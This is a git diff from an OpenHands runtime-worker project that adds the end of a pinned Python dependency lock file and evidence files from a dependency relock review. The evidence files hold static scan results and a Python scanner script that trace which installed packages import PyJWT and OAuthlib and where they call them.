'10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-ituneslibrary==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-kernelmanagement==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-latentsemanticmapping==11.1 ; platform_system == 'darwin' +pyobjc-framework-launchservices==11.1 ; platform_system == 'darwin' +pyobjc-framework-libdispatch==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-libxpc==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-linkpresentation==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-localauthentication==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-localauthenticationembeddedui==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mailkit==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mapkit==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mediaaccessibility==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mediaextension==11.1 ; (platform_release >= '24.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '24' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-medialibrary==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mediaplayer==11.1 ; (platform_release >= '16.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '16' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mediatoolbox==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-metal==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-metalfx==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-metalkit==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-metalperformanceshaders==11.1 ; (platform_release >= '17.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '17' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-metalperformanceshadersgraph==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-metrickit==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-mlcompute==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-modelio==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-multipeerconnectivity==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-naturallanguage==11.1 ; (platform_release >= '18.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '18' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-netfs==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-network==11.1 ; (platform_release >= '18.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '18' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-networkextension==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-notificationcenter==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-opendirectory==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-osakit==11.1 ; platform_system == 'darwin' +pyobjc-framework-oslog==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-passkit==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-pencilkit==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-phase==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-photos==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-photosui==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-preferencepanes==11.1 ; platform_system == 'darwin' +pyobjc-framework-pubsub==11.1 ; platform_release >= '9' and platform_release < '18' and platform_system == 'darwin' and sys_platform == 'darwin' +pyobjc-framework-pushkit==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-quartz==11.1 ; platform_system == 'darwin' +pyobjc-framework-quicklookthumbnailing==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-replaykit==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-safariservices==11.1 ; (platform_release >= '16.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '16' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-safetykit==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-scenekit==11.1 ; (platform_release >= '11.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '11' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-screencapturekit==11.1 ; platform_release >= '21.4' and platform_system == 'darwin' +pyobjc-framework-screensaver==11.1 ; platform_system == 'darwin' +pyobjc-framework-screentime==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-scriptingbridge==11.1 ; (platform_release >= '9.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '9' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-searchkit==11.1 ; platform_system == 'darwin' +pyobjc-framework-security==11.1 ; platform_system == 'darwin' +pyobjc-framework-securityfoundation==11.1 ; platform_system == 'darwin' +pyobjc-framework-securityinterface==11.1 ; platform_system == 'darwin' +pyobjc-framework-securityui==11.1 ; platform_release >= '24.4' and platform_system == 'darwin' +pyobjc-framework-sensitivecontentanalysis==11.1 ; (platform_release >= '23.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '23' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-servicemanagement==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-sharedwithyou==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-sharedwithyoucore==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-shazamkit==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-social==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-soundanalysis==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-speech==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-spritekit==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-storekit==11.1 ; (platform_release >= '11.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '11' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-symbols==11.1 ; (platform_release >= '23.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '23' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-syncservices==11.1 ; platform_system == 'darwin' +pyobjc-framework-systemconfiguration==11.1 ; platform_system == 'darwin' +pyobjc-framework-systemextensions==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-threadnetwork==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-uniformtypeidentifiers==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-usernotifications==11.1 ; (platform_release >= '18.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '18' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-usernotificationsui==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-videosubscriberaccount==11.1 ; (platform_release >= '18.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '18' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-videotoolbox==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-virtualization==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-vision==11.1 ; (platform_release >= '17.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '17' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-webkit==11.1 ; platform_system == 'darwin' +pyotp==2.9.0 +pyparsing==3.2.5 +pyperclip==1.11.0 +python-dateutil==2.9.0.post0 +python-docx==1.2.0 +python-dotenv==1.2.2 +python-frontmatter==1.1.0 +python-json-logger==4.0.0 +python-multipart==0.0.31 +pywin32==311 ; sys_platform == 'win32' +pywin32-ctypes==0.2.3 ; sys_platform == 'win32' +pyyaml==6.0.2 +redis==7.2.1 +referencing==0.36.2 +regex==2025.9.18 +reportlab==4.4.4 +requests==2.33.0 +requests-oauthlib==2.0.0 +rich==14.3.3 +rich-rst==1.3.2 +rpds-py==0.27.1 +screeninfo==0.8.1 ; platform_system != 'darwin' +secretstorage==3.5.0 ; sys_platform == 'linux' +six==1.17.0 +sniffio==1.3.1 +socksio==1.0.0 +sortedcontainers==2.4.0 +sse-starlette==3.0.2 +starlette==1.3.1 +tenacity==9.1.2 +tiktoken==0.12.0 +tokenizers==0.23.1 +tom-swe==1.0.3 +tqdm==4.67.1 +tree-sitter==0.25.2 +tree-sitter-bash==0.25.1 +typing-extensions==4.15.0 +typing-inspection==0.4.2 +uncalled-for==0.2.0 +uritemplate==4.2.0 +urllib3==2.7.0 +uuid7==0.1.0 +uvicorn==0.52.4 +watchfiles==1.1.1 +wcwidth==0.2.14 +websockets==15.0.1 +wrapt==1.17.3 +yarl==1.22.0 +zipp==3.23.0 diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt new file mode 100644 index 000000000..12a45ea1c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt @@ -0,0 +1,44 @@ +exit_code: 0 +started: 2026-09-30T07:43:31.046Z +ended: 2026-09-30T07:43:39.296Z + +stdout: +python files searched (all installed packages except PyJWT's own files and installer tooling): 10745 + +# PyJWT importers: the names bound to it, and decode-style calls through those names +google: 1 file(s) import PyJWT + oauth2/id_token.py: jwt bound as ['jwt_lib']: 1 decode-style line(s) ['146: return jwt_lib.decode('] +litellm: 7 file(s) import PyJWT + proxy/proxy_server.py: jwt bound as ['jwt']: 1 decode-style line(s) ['13614: return jwt.decode('] + proxy/auth/handle_jwt.py: jwt bound as ['jwt']; from jwt import ['PyJWK']: 3 decode-style line(s) ['154: claims = jwt.decode(', '942: return jwt.decode(', '957: return jwt.decode('] + proxy/management_endpoints/ui_sso.py: jwt bound as ['jwt']: 3 decode-style line(s) ['755: access_token_payload = jwt.decode(access_token_str, options={"verify_sig', '3701: userinfo = jwt.decode(id_token, options={"verify_signature": False})', '3897: decoded_token = jwt.decode(id_token, options={"verify_signature": False}'] + proxy/management_endpoints/mcp_management_endpoints.py: jwt bound as ['_jwt']: 1 decode-style line(s) ['1516: decoded = _jwt.decode('] + proxy/guardrails/guardrail_hooks/mcp_jwt_signer/mcp_jwt_signer.py: jwt bound as ['jwt']; from jwt import ['PyJWKSet']: 1 decode-style line(s) ['458: payload: Dict[str, Any] = jwt.decode(raw_token, signing_jwk.key, **decod'] + proxy/_experimental/mcp_server/byok_oauth_endpoints.py: jwt bound as ['jwt']: 1 decode-style line(s) ['106: payload = jwt.decode('] + proxy/_experimental/mcp_server/outbound_credentials/envelope.py: jwt bound as ['jwt']: 1 decode-style line(s) ['323: payload = jwt.decode('] +mcp: 1 file(s) import PyJWT + client/auth/extensions/client_credentials.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +oauthlib: 3 file(s) import PyJWT + common.py: jwt bound as ['jwt']: 1 decode-style line(s) ["221: return jwt.decode(token, public_pem, algorithms=['RS256'])"] + oauth1/rfc5849/signature.py: jwt module not bound (from-imports only); submodule aliases ['jwt_algorithms']: 0 decode-style line(s) [] + oauth2/rfc6749/clients/service_application.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +redis: 1 file(s) import PyJWT + auth/token.py: jwt bound as ['jwt']: 1 decode-style line(s) ['89: self._decoded = jwt.decode('] + +# references from outside the importing package to the code that holds a decode +oauthlib (verify_signed_token): no reference outside oauthlib +redis (auth.token, JWToken): no reference outside redis +google-auth (google.oauth2.id_token): no reference outside google/auth and google/oauth2 +litellm (litellm.proxy): no reference outside litellm + +# redis's decode +redis/auth/token.py:83: import jwt +redis/auth/token.py:89: self._decoded = jwt.decode( +redis/auth/token.py:91: options={"verify_signature": False}, + +# the recipe's own code (recursive) +recipe .py files searched: 12 +recipe .py files importing redis: none +recipe .py files importing jwt: none + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt new file mode 100644 index 000000000..944c00b78 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt @@ -0,0 +1,92 @@ +exit_code: 1 +started: 2026-09-30T07:46:31.539Z +ended: 2026-09-30T07:46:57.385Z + +stdout: +# installed closure excluding OAuthlib itself and installer tooling: 10682 Python sources searched; parse errors: 1 +PARSE ERROR ('func_timeout/py2_raise.py', 5, 'invalid syntax') +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + +stderr: +Static scan incomplete: inspect parse failures before any absence inference diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt new file mode 100644 index 000000000..7fcedda9e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt @@ -0,0 +1,145 @@ +"""Static OAuthlib review of an installed, hash-verified wheel closure. + +Adapted from evidence/relock-2026-09-30.jwt-callers.py.txt: scan every installed +Python source, retain alias/from-import bindings, search outside the affected +package and then inspect the recipe. Python's ast parser extends that maintained +method to comma-separated and multiline literal imports. No scanned module is +imported and no credential, OAuth endpoint, model, API or store is invoked. +This is local integration evidence, not an upstream test or execution trace. +Dynamic imports, runtime-assembled names and non-Python callers remain unknown. +Usage: python +""" + +import ast +import collections +import hashlib +import re +import sys +from pathlib import Path + +SITE, RECIPE = map(Path, sys.argv[1:3]) +SKIP = {"oauthlib", "pip", "setuptools", "pkg_resources", "_distutils_hack"} +# func-timeout 4.3.5 ships this five-line Python 2 raise helper. Its complete +# reviewed source has no imports or OAuthlib references; dafunc.py:21-26 selects +# py3_raise on this Python 3.13 target. Keep the source in the text sweep and +# accept this one parser limitation only when the reviewed bytes still match. +TEXT_ONLY = {"func_timeout/py2_raise.py": + "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77"} +PATTERN = re.compile( + r"\benable_jsonp\b|\bcreate_revocation_response\b|\bRevocationEndpoint\b|" + r"\bAuthorizationCodeGrant\b|\bcode_challenge_method_(?:s256|plain)\b|" + r"\bvalidate_code_challenge\b|oauthlib\.(?:oauth2|openid).*" + r"(?:endpoints|grant_types|pre_configured)" +) + + +def qualified(node): + if isinstance(node, ast.Name): + return node.id + if isinstance(node, ast.Attribute): + base = qualified(node.value) + return base + "." + node.attr if base else "" + return "" + + +def inspect(label, files): + importers, references = collections.defaultdict(list), collections.defaultdict(list) + parse_errors, text_only = [], [] + count = 0 + for path, relative in files: + count += 1 + text = path.read_text(encoding="utf-8", errors="replace") + lines = text.splitlines() + try: + tree = ast.parse(text, filename=relative) + except SyntaxError as error: + digest = hashlib.sha256(path.read_bytes()).hexdigest() + if TEXT_ONLY.get(relative) == digest: + text_only.append((relative, error.lineno, error.msg, digest, text)) + else: + parse_errors.append((relative, error.lineno, error.msg)) + tree = None + bound, imports = {}, [] + if tree is not None: + for node in ast.walk(tree): + if isinstance(node, ast.Import): + for item in node.names: + if item.name == "oauthlib" or item.name.startswith("oauthlib."): + name = item.asname or "oauthlib" + bound[name] = item.name if item.asname else "oauthlib" + imports.append((node.lineno, item.name, name)) + elif isinstance(node, ast.ImportFrom) and node.module and ( + node.module == "oauthlib" or node.module.startswith("oauthlib.") + ): + for item in node.names: + name = item.asname or item.name + bound[name] = node.module + "." + item.name + imports.append((node.lineno, node.module + "." + item.name, name)) + calls = [] + for node in ast.walk(tree): + if isinstance(node, ast.Call): + name = qualified(node.func) + root, _, suffix = name.partition(".") + if root in bound: + calls.append((node.lineno, bound[root] + ("." + suffix if suffix else ""))) + if imports: + importers[relative.split("/")[0]].append((relative, imports, sorted(calls))) + for number, line in enumerate(lines, 1): + if PATTERN.search(line): + references[relative.split("/")[0]].append((relative, number, line.strip())) + print(f"# {label}: {count} Python sources searched; parse errors: {len(parse_errors)}") + for entry in parse_errors: + print("PARSE ERROR", entry) + for relative, line, message, digest, source in text_only: + print(f"REVIEWED TEXT ONLY {relative}:{line}: {message}; sha256 {digest}") + print(source) + print("## OAuthlib literal importers with aliases, from-imports and bound call sites") + for package, entries in sorted(importers.items()): + print(package, "files:", len(entries)) + for relative, imports, calls in entries: + print(relative) + for line, target, alias in imports: + print(f" {line}: {target} bound as {alias}") + for line, target in calls: + print(f" call {line}: {target}") + print("## Advisory-related source references outside OAuthlib") + for package, entries in sorted(references.items()): + print(package, "reference lines:", len(entries)) + for relative, line, source in entries: + print(f" {relative}:{line}: {source}") + if parse_errors: + raise SystemExit("Static scan incomplete: inspect parse failures before any absence inference") + + +files = [(path, path.relative_to(SITE).as_posix()) for path in sorted(SITE.rglob("*.py")) + if path.relative_to(SITE).parts[0] not in SKIP] +inspect("installed closure excluding OAuthlib itself and installer tooling", files) +inspect("recipe", [(path, path.relative_to(RECIPE).as_posix()) for path in sorted(RECIPE.rglob("*.py"))]) + +print("# Entered namespaces and advisory implementation: file hashes and source lines") +WINDOWS = { + "oauthlib/__init__.py": [(1, 100)], + "oauthlib/oauth1/__init__.py": [(1, 100)], + "oauthlib/oauth2/__init__.py": [(1, 140)], + "oauthlib/common.py": [(185, 223)], + "oauthlib/oauth2/rfc6749/endpoints/revocation.py": [(1, 96)], + "oauthlib/oauth2/rfc6749/grant_types/authorization_code.py": [(18, 65), (490, 513), (531, 550)], +} +for relative, windows in WINDOWS.items(): + path = SITE / relative + data = path.read_bytes() + print(relative, "sha256", hashlib.sha256(data).hexdigest()) + for start, stop in windows: + for number, line in enumerate(data.decode("utf-8").splitlines(), 1): + if start <= number <= stop: + print(f"{relative}:{number}: {line}") +print("# RevocationEndpoint construction in OAuthlib's own preconfigured servers") +for relative in ("oauthlib/oauth2/rfc6749/endpoints/pre_configured.py", + "oauthlib/openid/connect/core/endpoints/pre_configured.py"): + data = (SITE / relative).read_bytes() + print(relative, "sha256", hashlib.sha256(data).hexdigest()) + lines = data.decode("utf-8").splitlines() + for index, line in enumerate(lines): + if "RevocationEndpoint.__init__" in line: + for offset in range(index, min(index + 4, len(lines))): + print(f"{relative}:{offset + 1}: {lines[offset]}") diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt 